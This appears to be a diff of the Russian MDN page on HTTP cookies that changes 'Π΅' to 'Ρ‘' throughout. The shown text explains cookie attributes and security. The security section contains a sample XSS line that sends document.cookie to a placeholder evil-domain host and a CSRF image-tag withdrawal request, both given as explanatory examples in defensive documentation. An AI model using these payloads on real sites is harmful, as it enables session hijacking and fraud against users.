href="http://api.rubyonrails.org/classes/ActionDispatch/Cookies.html">Ruby on Rails</a>). ΠžΡ‚ΠΊΠ»ΠΈΠΊ, отправляСмый Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ, содСрТит Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ <code>Set-Cookie</code>, ΠΈ cookie запоминаСтся Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ.</p>
+<p>Π­Ρ‚ΠΎΡ‚ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ с сСрвСра Π΄Π°Ρ‘Ρ‚ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρƒ ΡƒΠΊΠ°Π·Π°Π½ΠΈΠ΅ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ cookie (это Π΄Π΅Π»Π°ΡŽΡ‚, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <a href="http://php.net/manual/en/function.setcookie.php">PHP</a>, <a href="https://nodejs.org/dist/latest-v6.x/docs/api/http.html#http_response_setheader_name_value">Node.js</a>, <a href="https://docs.python.org/3/library/http.cookies.html">Python</a> ΠΈ <a href="http://api.rubyonrails.org/classes/ActionDispatch/Cookies.html">Ruby on Rails</a>). ΠžΡ‚ΠΊΠ»ΠΈΠΊ, отправляСмый Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ, содСрТит Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ <code>Set-Cookie</code>, ΠΈ cookie запоминаСтся Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ.</p>
<pre>HTTP/1.0 200 OK
Content-type: text/html
@@ -41,7 +41,7 @@ Set-Cookie: tasty_cookie=strawberry
[page content]</pre>
-<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, с ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ Π½ΠΎΠ²Ρ‹ΠΌ запросом ΠΊ сСрвСру, ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° {{HTTPHeader("Cookie")}} Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ сСрвСру всС сохранСнныС Ρ€Π°Π½Π΅Π΅ cookies.Β </p>
+<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, с ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ Π½ΠΎΠ²Ρ‹ΠΌ запросом ΠΊ сСрвСру, ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° {{HTTPHeader("Cookie")}} Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ сСрвСру всС сохранённыС Ρ€Π°Π½Π΅Π΅ cookies.Β </p>
<pre>GET /sample_page.html HTTP/1.1
Host: www.example.org
@@ -50,17 +50,17 @@ Cookie: yummy_cookie=choco; tasty_cookie=strawberry
<h3 id="БСссионныС_cookie">БСссионныС cookie</h3>
-<p>ΠŸΡ€ΠΎΡΡ‚ΠΎΠΉ cookie, ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ Π²Ρ‹ΡˆΠ΅, прСдставляСт собой сСссионный <em>cookie</em> (<em>session cookie</em>) - Ρ‚Π°ΠΊΠΈΠ΅ cookie ΡƒΠ΄Π°Π»ΡΡŽΡ‚ΡΡ ΠΏΡ€ΠΈ Π·Π°ΠΊΡ€Ρ‹Ρ‚ΠΈΠΈ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° протяТСнии Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ сСанса, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ <code>Expires</code> ΠΈΠ»ΠΈΒ  <code>Max-Age</code> для Π½Π΅Π³ΠΎ Π½Π΅ Π·Π°Π΄Π°ΡŽΡ‚ΡΡ. Однако, Ссли Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΎ автоматичСскоС восстановлСниС сСанса, Ρ‡Ρ‚ΠΎ случаСтся ΠΎΡ‡Π΅Π½ΡŒ часто, cookie сСанса ΠΌΠΎΠΆΠ΅Ρ‚ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒΡΡ постоянно, ΠΊΠ°ΠΊ Ссли Π±Ρ‹ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ закрывался.</p>
+<p>ΠŸΡ€ΠΎΡΡ‚ΠΎΠΉ cookie, ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½ Π²Ρ‹ΡˆΠ΅, прСдставляСт собой сСссионный <em>cookie</em> (<em>session cookie</em>) - Ρ‚Π°ΠΊΠΈΠ΅ cookie ΡƒΠ΄Π°Π»ΡΡŽΡ‚ΡΡ ΠΏΡ€ΠΈ Π·Π°ΠΊΡ€Ρ‹Ρ‚ΠΈΠΈ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° протяТСнии Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ сСанса, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ <code>Expires</code> ΠΈΠ»ΠΈΒ  <code>Max-Age</code> для Π½Π΅Π³ΠΎ Π½Π΅ Π·Π°Π΄Π°ΡŽΡ‚ΡΡ. Однако, Ссли Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΎ автоматичСскоС восстановлСниС сСанса, Ρ‡Ρ‚ΠΎ случаСтся ΠΎΡ‡Π΅Π½ΡŒ часто, cookie сСанса ΠΌΠΎΠΆΠ΅Ρ‚ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒΡΡ постоянно, ΠΊΠ°ΠΊ Ссли Π±Ρ‹ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ закрывался.</p>
<h3 id="ΠŸΠΎΡΡ‚ΠΎΡΠ½Π½Ρ‹Π΅_cookies">ΠŸΠΎΡΡ‚ΠΎΡΠ½Π½Ρ‹Π΅ cookies</h3>
-<p><em>ΠŸΠΎΡΡ‚ΠΎΡΠ½Π½Ρ‹Π΅ cookie</em> ( <em>permanent cookies</em>) ΡƒΠ΄Π°Π»ΡΡŽΡ‚ΡΡ Π½Π΅ с Π·Π°ΠΊΡ€Ρ‹Ρ‚ΠΈΠ΅ΠΌ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°, Π° ΠΏΡ€ΠΈ наступлСнии ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ Π΄Π°Ρ‚Ρ‹ (Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>Expires</code>) ΠΈΠ»ΠΈ послС ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Π° Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ (Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>Max-Age</code>).</p>
+<p><em>ΠŸΠΎΡΡ‚ΠΎΡΠ½Π½Ρ‹Π΅ cookie</em> ( <em>permanent cookies</em>) ΡƒΠ΄Π°Π»ΡΡŽΡ‚ΡΡ Π½Π΅ с Π·Π°ΠΊΡ€Ρ‹Ρ‚ΠΈΠ΅ΠΌ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°, Π° ΠΏΡ€ΠΈ наступлСнии ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ Π΄Π°Ρ‚Ρ‹ (Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>Expires</code>) ΠΈΠ»ΠΈ послС ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Π° Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ (Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>Max-Age</code>).</p>
<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;</pre>
<h3 id="Secure_(бСзопасныС)_ΠΈ_HttpOnly_cookies">Secure <code>("бСзопасныС") ΠΈ HttpOnly</code> cookies</h3>
-<p>"БСзопасныС" (secure) cookie ΠΎΡ‚ΡΡ‹Π»Π°ΡŽΡ‚ΡΡ Π½Π° сСрвСр Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли запрос выполняСтся ΠΏΠΎ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Ρƒ SSL ΠΈ HTTPS. Однако Π²Π°ΠΆΠ½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ слСдуСт ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ ΠΈΠ»ΠΈ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π² cookies, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ сам ΠΈΡ… ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ вСсьма уязвим Π² ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠΈ бСзопасности, Π° Ρ„Π»Π°Π³ <code>secure</code> Π½ΠΈΠΊΠ°ΠΊΠΎΠ³ΠΎ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ ΡˆΠΈΡ„Ρ€ΠΎΠ²Π°Π½ΠΈΡ ΠΈΠ»ΠΈ срСдств Π·Π°Ρ‰ΠΈΡ‚Ρ‹ Π½Π΅ обСспСчиваСт. Начиная с Chrome 52 ΠΈΒ Firefox 52, Π½Π΅Π·Π°Ρ‰ΠΈΡ‰Π΅Π½Π½Ρ‹Π΅ сайты (http:) Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΠΊΡƒΠΊΠΈ с Ρ„Π»Π°Π³ΠΎΠΌ <code>secure</code>.</p>
+<p>"БСзопасныС" (secure) cookie ΠΎΡ‚ΡΡ‹Π»Π°ΡŽΡ‚ΡΡ Π½Π° сСрвСр Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли запрос выполняСтся ΠΏΠΎ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Ρƒ SSL ΠΈ HTTPS. Однако Π²Π°ΠΆΠ½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ слСдуСт ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ ΠΈΠ»ΠΈ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π² cookies, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ сам ΠΈΡ… ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ вСсьма уязвим Π² ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠΈ бСзопасности, Π° Ρ„Π»Π°Π³ <code>secure</code> Π½ΠΈΠΊΠ°ΠΊΠΎΠ³ΠΎ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ ΡˆΠΈΡ„Ρ€ΠΎΠ²Π°Π½ΠΈΡ ΠΈΠ»ΠΈ срСдств Π·Π°Ρ‰ΠΈΡ‚Ρ‹ Π½Π΅ обСспСчиваСт. Начиная с Chrome 52 ΠΈΒ Firefox 52, Π½Π΅Π·Π°Ρ‰ΠΈΡ‰Ρ‘Π½Π½Ρ‹Π΅ сайты (http:) Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΠΊΡƒΠΊΠΈ с Ρ„Π»Π°Π³ΠΎΠΌ <code>secure</code>.</p>
<p>ΠšΡƒΠΊΠΈ HTTPonly Π½Π΅ доступны ΠΈΠ· JavaScript Ρ‡Π΅Ρ€Π΅Π· свойства {{domxref("Document.cookie")}} API, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ мСТсайтового скриптинга ({{Glossary("XSS")}}). УстанавливайтС этот Ρ„Π»Π°Π³ для Ρ‚Π΅Ρ… cookie, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ Π½Π΅ трСбуСтся ΠΎΠ±Ρ€Π°Ρ‰Π°Ρ‚ΡŒΡΡ Ρ‡Π΅Ρ€Π΅Π· JavaScript. Π’ частности, Ссли ΠΊΡƒΠΊΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ сСанса, Ρ‚ΠΎ Π² JavaScript ΠΎΠ½ΠΈ Π½Π΅ Π½ΡƒΠΆΠ½Ρ‹, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Π² этом случаС слСдуСт ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ Ρ„Π»Π°Π³ <code>HttpOnly</code>.</p>
@@ -69,7 +69,7 @@ Cookie: yummy_cookie=choco; tasty_cookie=strawberry
<h3 id="ΠžΠ±Π»Π°ΡΡ‚ΡŒ_видимости_ΠΊΡƒΠΊΠΎΠ²">ΠžΠ±Π»Π°ΡΡ‚ΡŒ видимости ΠΊΡƒΠΊΠΎΠ²</h3>
<p><code>Π”ΠΈΡ€Π΅ΠΊΡ‚ΠΈΠ²Ρ‹ Domain</code>Β  <code>ΠΈ Path </code>ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ видимости ΠΊΡƒΠΊΠΈ, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Ρ‚Π΅ URL-адрСса, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΠΊΡƒΠΊΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΡ‚ΡΡ‹Π»Π°Ρ‚ΡŒΡΡ.<br>
- Атрибут Domain ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ хосты, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΡ‚ΡΡ‹Π»Π°ΡŽΡ‚ΡΡ ΠΊΡƒΠΊΠΈ. Если ΠΎΠ½ Π½Π΅ Π·Π°Π΄Π°Π½, Ρ‚ΠΎ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ бСрСтся домСнная Ρ‡Π°ΡΡ‚ΡŒΒ Π°Π΄Ρ€Π΅ΡΠ° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° (Π½ΠΎ Π±Π΅Π· ΠΏΠΎΠ΄Π΄ΠΎΠΌΠ΅Π½ΠΎΠ²).Β  Если Π΄ΠΎΠΌΠ΅Π½ ΡƒΠΊΠ°Π·Π°Π½ явно, Ρ‚ΠΎ ΠΏΠΎΠ΄Π΄ΠΎΠΌΠ΅Π½Ρ‹ всСгда Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹.</p>
+ Атрибут Domain ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ хосты, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΡ‚ΡΡ‹Π»Π°ΡŽΡ‚ΡΡ ΠΊΡƒΠΊΠΈ. Если ΠΎΠ½ Π½Π΅ Π·Π°Π΄Π°Π½, Ρ‚ΠΎ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ бСрётся домСнная Ρ‡Π°ΡΡ‚ΡŒΒ Π°Π΄Ρ€Π΅ΡΠ° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° (Π½ΠΎ Π±Π΅Π· ΠΏΠΎΠ΄Π΄ΠΎΠΌΠ΅Π½ΠΎΠ²).Β  Если Π΄ΠΎΠΌΠ΅Π½ ΡƒΠΊΠ°Π·Π°Π½ явно, Ρ‚ΠΎ ΠΏΠΎΠ΄Π΄ΠΎΠΌΠ΅Π½Ρ‹ всСгда Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹.</p>
<p>НапримСр, Ссли Π·Π°Π΄Π°Π½ΠΎ <code>Domain=mozilla.org</code>, Ρ‚ΠΎ ΠΊΡƒΠΊΠΈ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ ΠΈ Π² ΠΏΠΎΠ΄Π΄ΠΎΠΌΠ΅Π½Π°Ρ…, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π² <code>developer.mozilla.org</code>.</p>
@@ -96,7 +96,7 @@ document.cookie = "tasty_cookie=strawberry";
console.log(document.cookie);
// logs "yummy_cookie=choco; tasty_cookie=strawberry"</pre>
-<p>Π£Ρ‡ΠΈΡ‚Ρ‹Π²Π°ΠΉΡ‚Π΅, поТалуйста, Π²Ρ‹Ρ‚Π΅ΠΊΠ°ΡŽΡ‰ΠΈΠ΅ ΠΈΠ· этого ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ Π² ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠΈ бСзопасности, ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠ½ΡƒΡ‚Ρ‹Π΅ Π½ΠΈΠΆΠ΅ (Ρ€Π°Π·Π΄Π΅Π» <a href="/en-RU/docs/Web/HTTP/Cookies#Security">Security</a>). ΠšΡƒΠΊΠΈ, доступныС для JavaScript, ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΡ…ΠΈΡ‰Π΅Π½Ρ‹ посрСдством XSS.</p>
+<p>Π£Ρ‡ΠΈΡ‚Ρ‹Π²Π°ΠΉΡ‚Π΅, поТалуйста, Π²Ρ‹Ρ‚Π΅ΠΊΠ°ΡŽΡ‰ΠΈΠ΅ ΠΈΠ· этого ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ Π² ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠΈ бСзопасности, ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠ½ΡƒΡ‚Ρ‹Π΅ Π½ΠΈΠΆΠ΅ (Ρ€Π°Π·Π΄Π΅Π» <a href="/en-RU/docs/Web/HTTP/Cookies#Security">Security</a>). ΠšΡƒΠΊΠΈ, доступныС для JavaScript, ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΡ…ΠΈΡ‰Π΅Π½Ρ‹ посрСдством XSS.</p>
<ul>
</ul>
@@ -109,7 +109,7 @@ console.log(document.cookie);
<h3 id="Π—Π°Ρ…Π²Π°Ρ‚_сСссии_(session_hijacking)_ΠΈ_XSS">Π—Π°Ρ…Π²Π°Ρ‚ сСссии (session hijacking) ΠΈ XSS</h3>
-<p>ΠšΡƒΠΊΠΈ часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Π² Π²Π΅Π±-прилоТСниях для ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΈ сСанса Ρ€Π°Π±ΠΎΡ‚Ρ‹, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΎΠ½ ΠΏΡ€ΠΎΡˆΠ΅Π» ΠΏΡ€ΠΎΡ†Π΅Π΄ΡƒΡ€Ρƒ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ. БоотвСтствСнно, ΠΏΠΎΡ…ΠΈΡ‰Π΅Π½ΠΈΠ΅ ΠΊΡƒΠΊΠΎΠ² ΠΈΠ· прилоТСния ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ Π·Π°Ρ…Π²Π°Ρ‚Ρƒ Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ сСанса ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. ΠšΡ€Π°ΠΆΠ° ΠΊΡƒΠΊΠΎΠ² часто осущСствляСтся посрСдством ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½ΠΆΠ΅Π½Π΅Ρ€ΠΈΠΈ (Social Engineering) ΠΈ использования уязвимости прилоТСния для {{Glossary("XSS")}}.</p>
+<p>ΠšΡƒΠΊΠΈ часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Π² Π²Π΅Π±-прилоТСниях для ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΈ сСанса Ρ€Π°Π±ΠΎΡ‚Ρ‹, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΎΠ½ ΠΏΡ€ΠΎΡˆΡ‘Π» ΠΏΡ€ΠΎΡ†Π΅Π΄ΡƒΡ€Ρƒ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ. БоотвСтствСнно, ΠΏΠΎΡ…ΠΈΡ‰Π΅Π½ΠΈΠ΅ ΠΊΡƒΠΊΠΎΠ² ΠΈΠ· прилоТСния ΠΌΠΎΠΆΠ΅Ρ‚ привСсти ΠΊ Π·Π°Ρ…Π²Π°Ρ‚Ρƒ Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ сСанса ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. ΠšΡ€Π°ΠΆΠ° ΠΊΡƒΠΊΠΎΠ² часто осущСствляСтся посрСдством ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½ΠΆΠ΅Π½Π΅Ρ€ΠΈΠΈ (Social Engineering) ΠΈ использования уязвимости прилоТСния для {{Glossary("XSS")}}.</p>
<pre class="brush: js">(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;</pre>
@@ -117,7 +117,7 @@ console.log(document.cookie);
<h3 id="ΠœΠ΅ΠΆΡΠ°ΠΉΡ‚ΠΎΠ²Π°Ρ_ΠΏΠΎΠ΄Π΄Π΅Π»ΠΊΠ°_запроса_(CSRF_-_Cross-site_request_forgery)">ΠœΠ΅ΠΆΡΠ°ΠΉΡ‚ΠΎΠ²Π°Ρ ΠΏΠΎΠ΄Π΄Π΅Π»ΠΊΠ° запроса (CSRF - Cross-site request forgery)</h3>
-<p>Π’Β <a href="https://en.wikipedia.org/wiki/HTTP_cookie#Cross-site_request_forgery">Wikipedia</a> ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ Ρ…ΠΎΡ€ΠΎΡˆΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ {{Glossary("CSRF")}}. Π’ сообщСниС (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π² Ρ‡Π°Ρ‚Π΅ ΠΈΠ»ΠΈ Π½Π° Ρ„ΠΎΡ€ΡƒΠΌΠ΅) Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ (якобы) ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅, Π½Π° самом Π΄Π΅Π»Π΅, прСдставляСт собой запрос ΠΊ банковскому сСрвСру Π½Π° снятиС Π΄Π΅Π½Π΅Π³:</p>
+<p>Π’Β <a href="https://en.wikipedia.org/wiki/HTTP_cookie#Cross-site_request_forgery">Wikipedia</a> ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½ Ρ…ΠΎΡ€ΠΎΡˆΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ {{Glossary("CSRF")}}. Π’ сообщСниС (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π² Ρ‡Π°Ρ‚Π΅ ΠΈΠ»ΠΈ Π½Π° Ρ„ΠΎΡ€ΡƒΠΌΠ΅) Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ (якобы) ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅, Π½Π° самом Π΄Π΅Π»Π΅, прСдставляСт собой запрос ΠΊ банковскому сСрвСру Π½Π° снятиС Π΄Π΅Π½Π΅Π³:</p>
<pre class="brush: html">&lt;img src="http://bank.example.com/withdraw?account=bob&amp;amount=1000000&amp;for=mallory"&gt;</pre>
@@ -134,17 +134,17 @@ console.log(document.cookie);
<h3 id="Π‘Ρ‚ΠΎΡ€ΠΎΠ½Π½ΠΈΠ΅_(Third-party)_ΠΊΡƒΠΊΠΈ">Π‘Ρ‚ΠΎΡ€ΠΎΠ½Π½ΠΈΠ΅ (Third-party) ΠΊΡƒΠΊΠΈ</h3>
-<p>ΠšΡƒΠΊΠΈ связаны с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ Π΄ΠΎΠΌΠ΅Π½ΠΎΠΌ. Если ΠΎΠ½ совпадаСт с Π΄ΠΎΠΌΠ΅Π½ΠΎΠΌ страницы, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π²Ρ‹ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‚ΠΎ ΠΈΡ… Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ "<em>ΠΊΡƒΠΊΠ°ΠΌΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ Π»ΠΈΡ†Π°</em>" (first-party cookies). Если это Π΄Ρ€ΡƒΠ³ΠΎΠΉ Π΄ΠΎΠΌΠ΅Π½, ΠΈΡ… Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ "<em>сторонними ΠΊΡƒΠΊΠ°ΠΌΠΈ</em>" (<em>third-party cookies</em>). ΠšΡƒΠΊΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ Π»ΠΈΡ†Π° ΠΎΡ‚ΡΡ‹Π»Π°ΡŽΡ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° Ρ‚ΠΎΡ‚ сСрвСр, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΡ… создал. Однако, страница ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ изобраТСния ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ€Π΅ΠΊΠ»Π°ΠΌΠ½Ρ‹Π΅ Π±Π°Π½Π½Π΅Ρ€Ρ‹), хранящиСся Π½Π° Π΄Ρ€ΡƒΠ³ΠΈΡ… сСрвСрах. ΠšΡƒΠΊΠΈ, посылаСмыС 